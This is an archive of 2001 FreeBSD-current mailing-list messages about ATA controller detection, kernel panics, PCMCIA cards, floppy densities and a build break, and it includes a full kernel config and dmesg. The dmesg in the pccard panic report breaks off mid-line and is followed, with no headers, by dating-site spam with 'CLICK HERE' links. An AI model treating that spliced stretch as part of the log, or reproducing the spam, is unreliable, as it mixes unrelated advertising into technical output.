mi@aldan.algebra.com Subject: Re: ouch -- the second controller on Promise-66 is not detected! Message-ID: <20011031060702.A44053@nagual.pp.ru> References: <200110310037.f9V0bSW65011@aldan.algebra.com> <200110310254.f9V2sZv04739@wint.itfs.nsk.su> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200110310254.f9V2sZv04739@wint.itfs.nsk.su> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Oct 31, 2001 at 08:54:35 +0600, Nickolay Dudorov wrote: > With the following patch I can now use all > the channels on the HPT366 controller in my ABIT's BP6 mobo. > else { > - if (!(child = device_add_child(dev, "ata", 2))) > + if (!(child = device_add_child(dev, "ata", -1))) > return ENOMEM; Yes, that way (don't use wired slots) looks acceptable too. (BTW, why ENOMEM only here? device_add_child() can fail for _various_ reasons). -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 19: 9: 3 2001 Delivered-To: freebsd-current@freebsd.org Received: from seagull.cpinternet.com (mail.cpinternet.com [209.240.224.4]) by hub.freebsd.org (Postfix) with ESMTP id 4F7EB37B403; Tue, 30 Oct 2001 19:08:59 -0800 (PST) Received: from 209.240.253.23 ([209.240.253.23]) by seagull.cpinternet.com (8.12.0/8.12.0) with ESMTP id f9V38ts1002209; Tue, 30 Oct 2001 21:08:56 -0600 (CST) Received: by 209.240.253.23 (Postfix, from userid 1001) id A298514A13; Tue, 30 Oct 2001 21:08:43 -0600 (CST) To: Manfred Antar Cc: current@FreeBSD.ORG, smp@FreeBSD.ORG Subject: Re: Current panic on shutdown bwrite: buffer is not busy??? References: <5.1.0.14.2.20011030164508.00aa0d18@pozo.com> From: Michael Harnois Date: Tue, 30 Oct 2001 21:08:37 -0600 In-Reply-To: <5.1.0.14.2.20011030164508.00aa0d18@pozo.com> (Manfred Antar's message of "Tue, 30 Oct 2001 16:50:53 -0800") Message-ID: <86n128pkui.fsf@mharnois.workgroup.net> Lines: 8 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.5 (asparagus, i386-unknown-freebsd5.0) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Same problem here on PIII UP. -- Michael D. Harnois bilocational bivocational Pastor, Redeemer Lutheran Church Washburn, Iowa 1L, UST School of Law Minneapolis, Minnesota Censorship is the strongest drive in human nature; sex is a weak second. -- Phil Kerby To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 19:18:52 2001 Delivered-To: freebsd-current@freebsd.org Received: from turbo.dreamtime.net (dreamtime.net [209.61.206.24]) by hub.freebsd.org (Postfix) with ESMTP id 5A30637B403; Tue, 30 Oct 2001 19:18:48 -0800 (PST) Received: from stephenl5qmj8e (lsanca1-ar8-122-145.lsanca1.dsl.gtei.net [4.35.122.145]) by turbo.dreamtime.net (8.11.1/8.11.1) with SMTP id f9V3Iio87426; Tue, 30 Oct 2001 22:18:44 -0500 (EST) (envelope-from clients@dreamtime.net) From: "Dreamtime.net Inc." To: , Subject: Clock Drift Date: Tue, 30 Oct 2001 19:17:56 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: <86n128pkui.fsf@mharnois.workgroup.net> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG A while back I read a thread regarding clock drift. We are now having the same problem. Does anyone know what the remedy is for this? Thanks. Sincerely, Stephen H. Kapit To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 19:44:36 2001 Delivered-To: freebsd-current@freebsd.org Received: from aldan.algebra.com (aldan.algebra.com [216.254.65.224]) by hub.freebsd.org (Postfix) with ESMTP id 0309437B405; Tue, 30 Oct 2001 19:44:32 -0800 (PST) Received: from aldan.algebra.com (localhost [127.0.0.1]) by aldan.algebra.com (8.11.6/8.11.5) with ESMTP id f9V3fiW68215; Tue, 30 Oct 2001 22:41:49 -0500 (EST) (envelope-from mi@aldan.algebra.com) Message-Id: <200110310341.f9V3fiW68215@aldan.algebra.com> Date: Tue, 30 Oct 2001 22:41:41 -0500 (EST) From: Mikhail Teterin Subject: Re: ouch -- the second controller on Promise-66 is not detected! To: ache@nagual.pp.ru Cc: peter@wemm.org, current@freebsd.org, sos@freebsd.org In-Reply-To: <20011031035226.A42000@nagual.pp.ru> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 31 Oct, Andrey A. Chernov wrote: > On Tue, Oct 30, 2001 at 19:37:27 -0500, Mikhail Teterin wrote: >> Alright, alright, what do I do now? I did NOT wire any ata devices, > Ask Soren to fix ATA driver in the way I describe below: > >> > Giving more details: >> > ATA code must test wired slot, and, if it is busy, increase number >> > to next free slot and give it to bus code afterwards. > > or > > Try to wire device in question using your hints to proper place. Perfect, and how would I do that? You saw the ata-part of my hints file. How do I modify it? hint.ata.0.at="isa" hint.ata.0.port="0x1F0" hint.ata.0.irq="14" hint.ata.1.at="isa" hint.ata.1.port="0x170" hint.ata.1.irq="15" From dmesg: ata-: ata2 already exists, using ata3 instead <-- bogus -mi ata2: iobase=0x1c30 altiobase=0x1c26 bmaddr=0x1080 ata2: mask=03 ostat0=50 ostat2=00 ata2-master: ATAPI probe 00 00 ata2-slave: ATAPI probe 00 00 ata2: mask=03 stat0=50 stat1=00 ata2-master: ATA probe 01 a5 ata2: devices=01 ata2: at 0x1c30 on atapci0 ata3: iobase=0x1c28 altiobase=0x1c22 bmaddr=0x1088 ata3: mask=03 ostat0=50 ostat2=00 ata3-master: ATAPI probe 00 00 ata3-slave: ATAPI probe 00 00 ata3: mask=03 stat0=50 stat1=00 ata3-master: ATA probe 01 a5 ata3: devices=01 ata3: at 0x1c28 on atapci0 ad4: ATA-5 disk at ata2-master ad6: ATA-5 disk at ata3-master it seems, that the ports are should be: hint.ata.2.port="0x1c30" hint.ata.3.port="0x1c28" What about IRQs? Or should I just remove the hints for ata-[01]? > (Comment about current situation: not detected ATA device in some rare > cases is lesser evil than kernel panic, even without any device, with > pure console) Well, it always happens to me :) . I don't think it is _so_ rare -- just add a Promise card (popular hardware) to any computer... -mi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 20:28:21 2001 Delivered-To: freebsd-current@freebsd.org Received: from nagual.pp.ru (pobrecita.freebsd.ru [194.87.13.42]) by hub.freebsd.org (Postfix) with ESMTP id C718037B403; Tue, 30 Oct 2001 20:28:18 -0800 (PST) Received: (from ache@localhost) by nagual.pp.ru (8.11.6/8.11.6) id f9V4SBS45000; Wed, 31 Oct 2001 07:28:11 +0300 (MSK) (envelope-from ache) Date: Wed, 31 Oct 2001 07:28:09 +0300 From: "Andrey A. Chernov" To: Mikhail Teterin Cc: peter@wemm.org, current@freebsd.org, sos@freebsd.org Subject: Re: ouch -- the second controller on Promise-66 is not detected! Message-ID: <20011031072808.A44937@nagual.pp.ru> References: <20011031035226.A42000@nagual.pp.ru> <200110310341.f9V3fiW68215@aldan.algebra.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200110310341.f9V3fiW68215@aldan.algebra.com> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Oct 30, 2001 at 22:41:41 -0500, Mikhail Teterin wrote: > > Perfect, and how would I do that? You saw the ata-part of my hints file. > How do I modify it? Try patch from N. Dudorov posted to -current. I can't come with patches here since have no hardware to reproduce this bug. -- Andrey A. Chernov http://ache.pp.ru/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Oct 30 23:59:55 2001 Delivered-To: freebsd-current@freebsd.org Received: from alcatraz.iptelecom.net.ua (alcatraz.iptelecom.net.ua [212.9.224.15]) by hub.freebsd.org (Postfix) with ESMTP id 1DB7737B405; Tue, 30 Oct 2001 23:59:44 -0800 (PST) Received: from ipcard.iptcom.net (ipcard.iptcom.net [212.9.224.5]) by alcatraz.iptelecom.net.ua (8.9.3/8.9.3) with ESMTP id JAA96248; Wed, 31 Oct 2001 09:59:18 +0200 (EET) (envelope-from sobomax@FreeBSD.org) Received: from vega.vega.com (h159.228.dialup.iptcom.net [212.9.228.159]) by ipcard.iptcom.net (8.9.3/8.9.3) with ESMTP id JAA61983; Wed, 31 Oct 2001 09:59:16 +0200 (EET) (envelope-from sobomax@FreeBSD.org) Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vega.vega.com (8.11.6/8.11.3) with ESMTP id f9V7wiU49348; Wed, 31 Oct 2001 09:58:44 +0200 (EET) (envelope-from sobomax@FreeBSD.org) Message-ID: <3BDFAFB7.B42AE8BC@FreeBSD.org> Date: Wed, 31 Oct 2001 10:00:55 +0200 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U) X-Accept-Language: en,uk,ru MIME-Version: 1.0 To: Konstantin Chuguev Cc: imp@FreeBSD.org, current@FreeBSD.org Subject: Re: PCMCIA modem is detected/attached only on second insertion References: <200110231419.f9NEJjH94445@vega.vega.com> <3BD57E20.85806DC3@dante.org.uk> Content-Type: text/plain; charset=x-user-defined Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Konstantin Chuguev wrote: > > Hi All, > > FYI: > > Maxim Sobolev wrote: > > > I had started observing this problem about a 1.5 months ago - my > > PCMCIA modem (EigerCom 33.6) is detected/attached only on second > > insertion, i.e. if I'm booting with the card inserted I have to > > manually eject it and put back, while if the machine boots with > > an empty slot I have to do insert-eject-insert procedure. At the > > same time, another PCMCIA card (ed0-compatible ethernet adapter) > > doesn't have this problem. Following is related kernel output > > The funny thing is, I've got the opposite situation: I have to insert my > network card twice (Netgear - old version), but my modem card (Xircom) works > fine straight away. CURRENT, OLDCARD. Warner, do you have any ideas? -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 31 0:20:27 2001 Delivered-To: freebsd-current@freebsd.org Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (Postfix) with ESMTP id 7A66737B408 for ; Wed, 31 Oct 2001 00:20:19 -0800 (PST) Received: (from uucp@localhost) by sax.sax.de (8.9.3/8.9.3) with UUCP id JAA02537; Wed, 31 Oct 2001 09:20:18 +0100 (CET) Received: (from j@localhost) by uriah.heep.sax.de (8.11.6/8.11.6) id f9V8H6617375; Wed, 31 Oct 2001 09:17:06 +0100 (MET) (envelope-from j) Date: Wed, 31 Oct 2001 09:17:06 +0100 (MET) Message-Id: <200110310817.f9V8H6617375@uriah.heep.sax.de> Mime-Version: 1.0 X-Newsreader: knews 1.0b.1 Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) Organization: Private BSD site, Dresden X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E References: <200110071553.f97Fr5G43922@sii.linuxsweden.nu> From: j@uriah.heep.sax.de (Joerg Wunsch) Subject: Re: high-density floppies X-Original-Newsgroups: local.freebsd.current To: freebsd-current@freebsd.org Cc: Joel Wilsson Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Joel Wilsson wrote: > fd0: hard error reading fsbn 0 (ST0 40 ST1 1 > ST2 0 cyl 0 hd 0 sec 1) > So, I thought I'd try using a raw device configured for > higher density disks. That wouldn't help you. It's already failing at the very first sector, by not finding any address mark at all. Thus using one of the »over-formatted« (like fd0.1720) devices wouldn't help. > The reason I think they might NOT be damaged is that they > are all of the same type (different type from the floppies > I could read), and they are all "double density" floppies. Well, if you really mean "double density", it wouldn't require a higher density device but a /lower/ density one. The default device is using "high density" (2000000 bytes raw medium capacity), while DD media were 1000000 bytes raw. So you could try using /dev/fd0.720. > My question is, how can I do the equivalent of opening, for > example, /dev/fd0.1720 (in -stable) under -current? You just open it, and it will magically appear in /dev. :-) [I've got a huge patchset here that will autodetect DD vs. HD floppies, but before i'm going to commit it, i have to upgrade my box first to -current. This will also change the policy regarding additional /dev/fd* devices, and i'll eventually upgrade the man page as well.] -- cheers, J"org .-.-. --... ...-- -.. . DL8DTL http://www.sax.de/~joerg/ NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 31 4: 5:17 2001 Delivered-To: freebsd-current@freebsd.org Received: from wint.itfs.nsk.su (wint.itfs.nsk.su [212.20.32.43]) by hub.freebsd.org (Postfix) with ESMTP id 7DBCC37B401 for ; Wed, 31 Oct 2001 04:05:14 -0800 (PST) Received: (from nnd@localhost) by wint.itfs.nsk.su (8.11.6/8.11.4) id f9VC5BW38410; Wed, 31 Oct 2001 18:05:11 +0600 (NOVT) (envelope-from nnd) Date: Wed, 31 Oct 2001 18:05:11 +0600 (NOVT) Message-Id: <200110311205.f9VC5BW38410@wint.itfs.nsk.su> From: nnd@mail.nsk.ru (Nickolay Dudorov) To: current@FreeBSD.ORG Subject: Re: cvs commit: src/sys/kern subr_smp.c src/sys/sys smp.h In-Reply-To: <200110310903.f9V935N13728@freefall.freebsd.org> User-Agent: tin/1.5.9-20010723 ("Chord of Souls") (UNIX) (FreeBSD/5.0-CURRENT (i386)) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In article <200110310903.f9V935N13728@freefall.freebsd.org> Marcel Moolenaar wrote: > marcel 2001/10/31 01:03:05 PST > > Modified files: > sys/kern subr_smp.c > sys/sys smp.h > Log: > Make smp_started volatile in sys/smp.h and remove the volatile > declaration in subr_smp.c. This solves a compile problem with > gcc 3.0.1 (ia64 cross-build). > > Reviewed: jhb > > Revision Changes Path > 1.159 +1 -2 src/sys/kern/subr_smp.c > 1.69 +2 -2 src/sys/sys/smp.h This patch totally remove THE definition(?) of smp_started from subr_smp.c and thus make the kernel unbuildable. N.Dudorov P.S. The fix is obvious - return smp_started definition minus 'volatile' to the subr_smp.c To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Oct 31 4:18:31 2001 Delivered-To: freebsd-current@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 08EEA37B403 for ; Wed, 31 Oct 2001 04:18:19 -0800 (PST) Received: from localhost (ilmar@localhost) by fledge.watson.org (8.11.6/8.11.5) with ESMTP id f9VCIC977767 for ; Wed, 31 Oct 2001 07:18:12 -0500 (EST) (envelope-from ilmar@watson.org) Date: Wed, 31 Oct 2001 07:18:11 -0500 (EST) From: "Ilmar S. Habibulin" To: freebsd-current@freebsd.org Subject: Fatal trap 12 with recent current (notebook with network pc-card) Message-ID: <20011031064753.B77432-100000@fledge.watson.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have Mitac 7020 notebook with Apollo 10/100M Fast Ethernet PC Card. Today i cvsuped recent current and now kernel panics ufter card insertion with the folowing message: pccard: card inserted, slot 0 mobile pccardd[186]: Card "Dual Speed"("10/100 PC Card") [1.0] [ ] matched "Dual Speed" ("/10/100( Port Attached)? PC Card/") [(null)] [(null)] Fatal trap 12: page fault while in kernel mode fault virtual address = 0x3c fault core = supervisor write, page not present instruction pointer = 0x8:0xc01cceb1 stack pointer = 0x10:0xc698ab00 frame pointer = 0x10:0xc698ab00 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = 186 (pccardd) kernel: type 12 trap, code=0 Stopped at device_set_flags+0x9: movl %eax,0x3c(%edx) kernel config is: # # GENERIC -- Generic kernel configuration file for FreeBSD/i386 # # For more information on this file, please read the handbook section on # Kernel Configuration Files: # # http://www.FreeBSD.org/handbook/kernelconfig-config.html # # The handbook is also available locally in /usr/share/doc/handbook # if you've installed the doc distribution, otherwise always see the # FreeBSD World Wide Web server (http://www.FreeBSD.org/) for the # latest information. # # An exhaustive list of options and more detailed explanations of the # device lines is also present in the NOTES configuration file. If you are # in doubt as to the purpose or necessity of a line, check first in NOTES. # # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.313 2001/07/02 21:01:48 brooks Exp $ machine i386 cpu I686_CPU ident NOTEBOOK maxusers 32 #options VISUAL_USERCONFIG #visual boot -c editor #To statically compile in device wiring instead of /boot/device.hints #hints "GENERIC.hints" #Default places to look for devices. makeoptions DEBUG=-g #Build kernel with gdb(1) debug symbols #options MATH_EMULATE #Support for x87 emulation options INET #InterNETworking options INET6 #IPv6 communications protocols options FFS #Berkeley Fast Filesystem options SOFTUPDATES #Enable FFS soft updates support #options MD_ROOT #MD is a potential root device options NFSCLIENT #Network Filesystem Client options NFSSERVER #Network Filesystem Server #options NFS_ROOT #NFS usable as root device, NFS required options MSDOSFS #MSDOS Filesystem options CD9660 #ISO 9660 Filesystem options PROCFS #Process filesystem options COMPAT_43 #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=15000 #Delay (in ms) before probing SCSI options UCONSOLE #Allow users to grab the console #options USERCONFIG #boot -c editor #options VISUAL_USERCONFIG #visual boot -c editor options KTRACE #ktrace(1) support options SYSVSHM #SYSV-style shared memory options SYSVMSG #SYSV-style message queues options SYSVSEM #SYSV-style semaphores options P1003_1B #Posix P1003_1B real-time extensions options _KPOSIX_PRIORITY_SCHEDULING options KBD_INSTALL_CDEV # install a CDEV entry in /dev # Debugging for use in -current options DDB options INVARIANTS options INVARIANT_SUPPORT options WITNESS # To make an SMP kernel, the next two are needed #options SMP # Symmetric MultiProcessor Kernel #options APIC_IO # Symmetric (APIC) I/O device isa #device eisa device pci # Floppy drives device fdc # ATA and ATAPI devices device ata device atadisk # ATA disk drives device atapicd # ATAPI CDROM drives #device atapifd # ATAPI floppy drives #device atapist # ATAPI tape drives options ATA_STATIC_ID #Static device numbering # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc 1 # At keyboard controller device atkbd # at keyboard device psm # psm mouse device vga # VGA screen # splash screen/screen saver device splash # syscons is the default console driver, resembling an SCO console device sc 1 # Enable this for the pcvt (VT220 compatible) console driver #device vt #options XSERVER # support for X server on a vt console #options FAT_CURSOR # start with block cursor # If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines #options PCVT_SCANSET=2 # IBM keyboards are non-std # Floating point support - do not disable. device npx # Power management support (see NOTES for more options) #device apm # Add suspend/resume support for the i8254. device pmtimer #device acpica #options ACPI_DEBUG # PCCARD (PCMCIA) support device card # pccard bus device pcic # PCMCIA bridge # Serial (COM) ports device sio # 8250, 16[45]50 based serial ports # Parallel port device ppc device ppbus # Parallel port bus (required) device lpt # Printer device plip # TCP/IP over parallel device ppi # Parallel port interface device #device vpo # Requires scbus and da # PCI Ethernet NICs that use the common MII bus controller code. # NOTE: Be sure to keep the 'device miibus' line in order to use these NICs! device miibus # MII bus support device ed # NE[12]000, SMC Ultra, 3c503, DS8390 cards # Pseudo devices - the number indicates how many units to allocate. device random # Entropy device device loop # Network loopback device ether # Ethernet support #device sl # Kernel SLIP #device ppp 1 # Kernel PPP device tun # Packet tunnel. device pty # Pseudo-ttys (telnet etc) device md # Memory "disks" device gif # IPv6 and IPv4 tunneling device faith 1 # IPv6-to-IPv4 relaying (translation) # The `bpf' device enables the Berkeley Packet Filter. # Be aware of the administrative consequences of enabling this! device bpf # Berkeley packet filter # USB support device uhci # UHCI PCI->USB interface device ohci # OHCI PCI->USB interface device usb # USB Bus (required) #device udbp # USB Double Bulk Pipe devices device ugen # Generic device uhid # "Human Interface Devices" device ukbd # Keyboard device ulpt # Printer #device umass # Disks/Mass storage - Requires scbus and da device ums # Mouse device urio # Diamond Rio 500 MP3 player device uscanner # Scanners # USB Ethernet, requires mii device aue # ADMtek USB ethernet device cue # CATC USB ethernet device kue # Kawasaki LSI USB ethernet device pcm # Sound!!! ################################# # # options ATKBD_DFLT_KEYMAP makeoptions ATKBD_DFLT_KEYMAP="ru.koi8-r" options SC_DFLT_FONT makeoptions SC_DFLT_FONT="koi8-r" dmesg output is: Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 5.0-CURRENT #0: Tue Oct 30 15:10:38 MSK 2001 root@mobile.:/usr/src/sys/i386/compile/NOTEBOOK Timecounter "i8254" frequency 1193182 Hz Timecounter "TSC" frequency 125348371 Hz CPU: Pentium III/Pentium III Xeon/Celeron (125.35-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x686 Stepping = 6 Features=0x387f9ff real memory = 67043328 (65472K bytes) avail memory = 60870656 (59444K bytes) Preloaded elf kernel "/boot/kernel/kernel" at 0xc0449000. Preloaded elf module "/boot/kernel/acpi.ko" at 0xc04490a8. Pentium Pro MTRR support enabled Using $PIR table, 5 entries at 0xc00fe840 npx0: on motherboard npx0: INT 16 interface acpi0: on motherboard Timecounter "ACPI" frequency 3579545 Hz can't fetch resources for \\_SB_.PCI0.PX40.COPR - AE_BAD_DATA acpi_timer0: <24-bit timer at 3.579545MHz> port 0x1008-0x100b on acpi0 acpi_cpu0: on acpi0 acpi_acad0: on acpi0 acpi_lid0: on acpi0 acpi_cmbat0: on acpi0 acpi_button0: on acpi0 acpi_button1: on acpi0 acpi_pcib0: port 0xcf8-0xcff on acpi0 pci0: on acpi_pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at device 0.0 (no driver attached) isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0x1100-0x110f at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 ata1: at 0x170 irq 15 on atapci0 uhci0: port 0x1040-0x105f irq 128 at device 7.2 on pci0 uhci0: Could not allocate irq device_probe_and_attach: uhci0 attach returned 6 pci0: at device 7.3 (no driver attached) pcic0: mem 0x44000000-0x44000fff irq 10 at device 8.0 on pci0 pcic0: TI12XX PCI Config Reg: [speaker enable][pwr save][CSC serial isa irq] pccard0: on pcic0 pcic1: mem 0x44001000-0x44001fff irq 10 at device 8.1 on pci0 pcic1: TI12XX PCI Config Reg: [speaker enable][pwr save][CSC serial isa irq] pccard1: on pcic1 csa0: mem 0xe9000000-0xe90fffff,0xe8000000-0xe8000fff irq 5 at device 9.0 on pci0 csa: card is Unknown/invalid SSID (CS4614) pcm0: on csa0 atkbdc0: port 0x64,0x60 irq 1 on acpi0 atkbd0: flags 0x1 irq 1 on atkbdc0 kbd0 at atkbd0 fdc0: port 0x3f7,0x3f0-0x3f5 irq 6 on acpi0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 sio0 port 0x3f8-0x3ff irq 4 on acpi0 sio0: type 16550A acpi_ec0: port 0x66,0x62 on acpi0 orm0:

Take control of your social life and join our community.
We offer a great way for busy, interesting and successful people to meet
each other in our safe, secure and anonymous environment.

Life should be wonderful. Find someone extraordinary to share your adventures with.
STOP waiting. START living.

GO meet Somebody!

CLICK HERE 


If you have received this message in error click here to be removed

 


To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Nov 3 17:44:20 2001 Delivered-To: freebsd-current@freebsd.org Received: from ms64.hinet.net (ms64.hinet.net [168.95.4.64]) by hub.freebsd.org (Postfix) with ESMTP id F322D37B50B for ; Sat, 3 Nov 2001 17:43:17 -0800 (PST) Received: from play.cirx.org (postfix@play.cirx.org [211.72.15.244]) by ms64.hinet.net (8.8.8/8.8.8) with ESMTP id JAA21602; Sun, 4 Nov 2001 09:43:14 +0800 (CST) Received: by play.cirx.org (Postfix, from userid 900) id D43CF3DF7; Sun, 4 Nov 2001 09:43:32 +0800 (CST) Date: Sun, 4 Nov 2001 09:43:32 +0800 From: "Vanilla I. Shu" To: Steve Kargl Cc: freebsd-current@freebsd.org Subject: Re: awk has gone nuts! Message-ID: <20011104014332.GA6062@play.cirx.org> References: <20011103100721.A17889@troutmask.apl.washington.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-ripemd160; protocol="application/pgp-signature"; boundary="LZvS9be/3tNcYl/X" Content-Disposition: inline In-Reply-To: <20011103100721.A17889@troutmask.apl.washington.edu> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --LZvS9be/3tNcYl/X Content-Type: text/plain; charset=big5 Content-Disposition: inline On Sat, Nov 03, 2001 at 10:07:21AM -0800, Steve Kargl wrote: > strip -R .comment -R .note loader.bin > cat /usr/src/sys/boot/i386/loader/../../common/help.common /usr/src/sys/boot/i386/loader/help.i386 | awk -f /usr/src/sys/boot/i386/loader/../../common/merge_help.awk > loader.help > /usr: write failed, file system is full ^^^^^^^^^^ > awk: write error on stdout > input record number 383, file > source line number 92 > *** Error code 2 your /usr is full, not CURRENT's problem. --LZvS9be/3tNcYl/X Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iQEXAwUBO+SdRLvsbuRo88EEFAMJuwP+LCfNf3zqCUkSRCmdTHvAAJQ/bKg96q2n SPDNWCmHsd539CiQtaWdbKusSzUM7Y9caqqCwO43sFjVaWN/Vc47xfD34epa591K XyTSvAtlLD958LJJ4lGZZd7a6RCLYb4oZHbSPK2lXuNQ/qMwEGjRbGNX/MjCpUVP I37APgsbf2kD/R7Q3j43uH+RW/C00b3hWFCHPgnu2XVJglN/EwoF1qlbNXjMLni5 zqrHvtVoe6cbNAJI2FAIf9CJCDn/hGD55Gw/1cAXCE8dh90m5nAU7deJU3m7XU6i LzvujfIbFFA9NNBgS46aVx6PyZhzTAXGFQJvEeJi4jOcBhdbvcj89Ztx =PxMJ -----END PGP SIGNATURE----- --LZvS9be/3tNcYl/X-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Nov 3 17:48:25 2001 Delivered-To: freebsd-current@freebsd.org Received: from troutmask.apl.washington.edu (troutmask.apl.washington.edu [128.208.78.105]) by hub.freebsd.org (Postfix) with ESMTP id 208A137B406 for ; Sat, 3 Nov 2001 17:48:23 -0800 (PST) Received: (from sgk@localhost) by troutmask.apl.washington.edu (8.11.4/8.11.4) id fA41mF121362; Sat, 3 Nov 2001 17:48:15 -0800 (PST) (envelope-from sgk) Date: Sat, 3 Nov 2001 17:48:15 -0800 From: Steve Kargl To: "Vanilla I. Shu" Cc: freebsd-current@freebsd.org Subject: Re: awk has gone nuts! Message-ID: <20011103174815.A21302@troutmask.apl.washington.edu> References: <20011103100721.A17889@troutmask.apl.washington.edu> <20011104014332.GA6062@play.cirx.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011104014332.GA6062@play.cirx.org>; from vanilla@play.maudelegb.org on Sun, Nov 04, 2001 at 09:43:32AM +0800 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Nov 04, 2001 at 09:43:32AM +0800, Vanilla I. Shu wrote: > On Sat, Nov 03, 2001 at 10:07:21AM -0800, Steve Kargl wrote: > > strip -R .comment -R .note loader.bin > > cat /usr/src/sys/boot/i386/loader/../../common/help.common /usr/src/sys/boot/i386/loader/help.i386 | awk -f /usr/src/sys/boot/i386/loader/../../common/merge_help.awk > loader.help > > /usr: write 